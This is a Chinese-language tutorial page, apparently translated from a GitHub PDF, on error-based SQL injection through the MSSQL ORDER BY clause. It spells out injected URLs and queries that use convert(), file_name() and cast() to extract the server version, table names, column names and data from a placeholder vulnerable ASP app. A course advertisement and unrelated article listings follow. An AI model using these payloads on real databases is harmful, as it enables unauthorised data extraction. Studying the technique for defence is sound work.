SQL注入,又名黑客技术之母,是一种臭名昭著的安全漏洞,由于流毒甚广,已经给网络世界造成了巨大的破坏。当然,对于该漏洞的利用技术,也是花样繁多,如访问存储在数据库中的数据,使用MySQL的load和into outfile语句读写服务器代码,以及使用SA帐户在MSSQL中执行命令,等等。

在本文中,我们要利用的SQL注入漏洞出现在下面的情形中:当用户提供的数据通过MSSQL的“Order By”语句中的值进行传递时,如果SQL查询中存在语法错误,那么应用程序就会抛出SQL Server错误。

如果用户提供的数据在“Order By”子句中作为列名传递给SQL查询的话,那么常规的“基于错误的SQL注入”漏洞利用技术就无法生效了。

由于SQL Server已经为SQL查询预定义了一套安全规则,因此,我们无法使用常规的“基于错误的SQL注入”技术来攻击应用程序中的SQL注入漏洞。

不过,由于用户可以在Order by子句之后指定函数名称,同时,有些SQL server函数可以执行以参数传入的查询,并尝试对注入的查询的结果执行某些操作,如果操作遇到问题就会抛出错误,所以,如果我们对这些函数进行注入攻击,那么这些函数就会暴露注入的SQL查询的结果——这就是我们的漏洞利用思路。

文章目录

· 漏洞利用

· 演示:

· convert() 函数

· file_name()函数

· 原文链接:

漏洞利用

下面我们开始介绍可用于基于错误的SQL注入攻击的函数。 ( 内容推荐>>>>>>SQL注入漏洞的分析与利用 ,可申请免费试听,联系牛油果,微信 1472301220)

实际上,确实有少数几个SQL server函数可以满足我们的要求:执行其参数指定的SQL查询,并对查询结果执行指定的操作,还能通过错误消息给出SQL查询结果。

Convert()就是满足上述要求的一个函数,它常用于基于错误的SQL注入攻击中,因为它会按照第一个参数中指定的数据类型对第二个参数执行转换操作。

例如,对于convert(int,@@version),convert函数首先会执行第二个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,无法进行指定的转换,所以,convert函数会抛出一个SQL server错误消息,指出“SQL查询结果”无法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了。

下面列出满足上述要求的各个函数:

· convert()

· file_name()

· db_name()

· col_name()

· filegroup_name()

· object_name()

· schema_name()

· type_name()

· cast()

演示:

假设这里有一个包含SQL注入漏洞的URL,它会将HTTP GET方法中名为“order”的参数的值(该值由用户指定)传递给SQL查询。该URL如下所示:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name

然后,应用程序会从HTTP GET方法的参数“order”中接收用户提供的数据,并生成如下所示的SQL查询:

Select table_name,column_name from information_schema.columns order by column_name

convert() 函数

· 查询SQL server版本

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)

在后台实际执行的查询:

select table_name,column_name from information_schema.columns order by

convert(int,@@version)

· 提取当前数据库的表名

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)

table_name from information_schema.columns))

在后台实际执行的查询:

select table_name,column_name from information_schema.columns order by

CONVERT(int,(select top(1) table_name from information_schema.tables))

· 从表中提取列名

在提取列名的时候,我们可以使用cast()来规定要从哪些表中提取列名。需要注意的是,这里的表名是用“十六进制”形式表示的。

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)

COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

在后台实际执行的查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

convert(int,(select top(1) COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

· 提取表中的列数据

从数据表的列中提取数据实际上并不复杂,只需在SQL查询中指定列名和表名即可。在本例中,我使用的列名为’xserver_name’,表名为’spt_fallback_db’。

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1)

xserver_name from spt_fallback_db))

在后台实际执行的查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

convert(int,(select top(1) xserver_name from spt_fallback_db))

file_name()函数

· 查询SQL server版本

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)

在后台实际执行的查询:

select table_name,column_name from information_schema.columns order by

file_name(@@version)

· 提取当前数据库的表名

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)

table_name from information_schema.columns))

在后台实际执行的查询:

select table_name,column_name from information_schema.columns order by

CONVERT(int,(select top(1) table_name from information_schema.tables))

· 从表中提取列名

在提取列名的时候,我们可以使用cast()来规定要从哪些表中提取列名。需要注意的是,这里的表名是用“十六进制”形式表示的。

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)

COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

在后台实际执行的查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

convert(int,(select top(1) COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

· 从表中提取列数据

从数据表中提取列数据其实很简单,只需在SQL查询中指定列名和表名即可。在本例中,我使用的列名为’xserver_name’,表名为’spt_fallback_db’。

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name((select top(1)

xserver_name from spt_fallback_db))

在后台实际执行的查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

file_name((select top(1) xserver_name from spt_fallback_db))

原文地址:https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20%E2%80%9COrder%20By%E2%80%9D%20clause%20(MSSQL).pdf

详解基于MSSQL “order by”语句报错的SQL注入技术的更多相关文章

  1. 基于报错的SQL注入整理

    SQLServer 一.利用错误消息提取信息 输入 'having 1=1 --(having一般要与group by一起来使用,group by是用来进行分组的,having后面是用来进行判断的), ...

  2. [MYSQL手工注入](3)基于报错的SQL注入实战

    0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...

  3. nrf52——DFU升级USB/UART升级方式详解(基于SDK开发例程)

    摘要:在前面的nrf52--DFU升级OTA升级方式详解(基于SDK开发例程)一文中我测试了基于蓝牙的OTA,本文将开始基于UART和USB(USB_CDC_)进行升级测试. 整体升级流程: 整个过程 ...

  4. HashMap实现详解 基于JDK1.8

    HashMap实现详解 基于JDK1.8 1.数据结构 散列表:是一种根据关键码值(Key value)而直接进行访问的数据结构.采用链地址法处理冲突. HashMap采用Node<K,V> ...

  5. SSE技术详解:一种全新的HTML5服务器推送事件技术

    前言 一般来说,Web端即时通讯技术因受限于浏览器的设计限制,一直以来实现起来并不容易,主流的Web端即时通讯方案大致有4种:传统Ajax短轮询.Comet技术.WebSocket技术.SSE(Ser ...

  6. 插入mysql语句报错:1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near

    插入一个很简单的sql语句时候,mysql一直报错: [SQL] INSERT INTO ORDER ( id, activity_id, order_type, phone, order_amoun ...

  7. 解决Mysql搭建成功后执行sql语句报错以及区分大小写问题

    刚搭建完mysql 8.0以后会: 一.表区分大小写, 二.执行正确的sql语句成功且会报:[Err] 1055 - Expression #1 of ORDER BY clause is not i ...

  8. SQL语句报错(一)

    SQL语句报错(一) 1.具体报错如下: ORA-01861:文字格式字符串不匹配 01861. 00000 - "literal does not match format string& ...

  9. (转)android import library switch语句报错case expressions must be constant expressions

    今天当我从github上下载一个工程,并把它的库文件导入eclipse中,发现switch语句报错case expressions must be constant expressions : 解决方 ...

随机推荐

  1. servlet与jsp篇(一)$.ajax交互

    servlet其实是利用java类编写的服务器端应用程序,他的生命周期可以分为三个阶段:初始化阶段.运行阶段和消亡阶段; jsp页面实质上是一个HTML页面,但他包含了用户产生动态网页内容的java代 ...

  2. Skyline Terra Explorer6.6弹出窗口实现复制功能

    前段时间继续下来的基于Skyline的B/S项目,是基于Terra Explorer6.6实现的.项目中涉及到基于三维模型查询设备编码等操作,从用户友好角度来讲,查询到的设备编码应该要支持复制,方便用 ...

  3. Android Studio 3.0+ Annotation processors must be explicitly declared now

    把Android Studio 升级到3.0+ 版本的时候出现该问题:   可以看到 给了我们两种解决办法:   1. 即 给出现问题的三方 加上 annotationProcessor配置     ...

  4. JMeter接口测试实战-动态数据验证

    JMeter接口测试实战-动态数据验证 说到验证就不得不说断言, 先来看下JMeter官方给出断言(Assertion)的定义, 用于检查测试中得到的响应数据等是否符合预期,用以保证测试过程中的数据交 ...

  5. SQL学习笔记---非select操作

    非select命令 数据库 1.创建     //create database 库名 2.删除     //drop database 库名,... 2.重命名//exec sp_renamedb ...

  6. 功能测试话题分享-0323 Bug

  7. c++11の关联容器

    一.关联容器 C++的容器类型可以分为顺序容器和关联容器两大类.对于关联容器,主要有map和set,对于这两种,根据不同的维度,衍生出了8种容器 map                        ...

  8. 深蓝词库转换2.4版发布,支持最新的搜狗用户词库备份bin格式

    很高兴的告诉大家,感谢GitHub上的h4x3rotab提供python版的搜狗用户词库备份bin格式的解析算法,感谢tmxkn1提供了C#版的实现,深蓝词库转换终于迎来了一个重大更新,能够支持搜狗用 ...

  9. An interesting combinational problem

    A question of details in the solution at the end of this post of the question is asked by me at MSE. ...

  10. GUI编程实战

    1.拆分窗格:JSplistPane package swing; /** * swing 实战 */ import java.awt.*; import javax.swing.*; public ...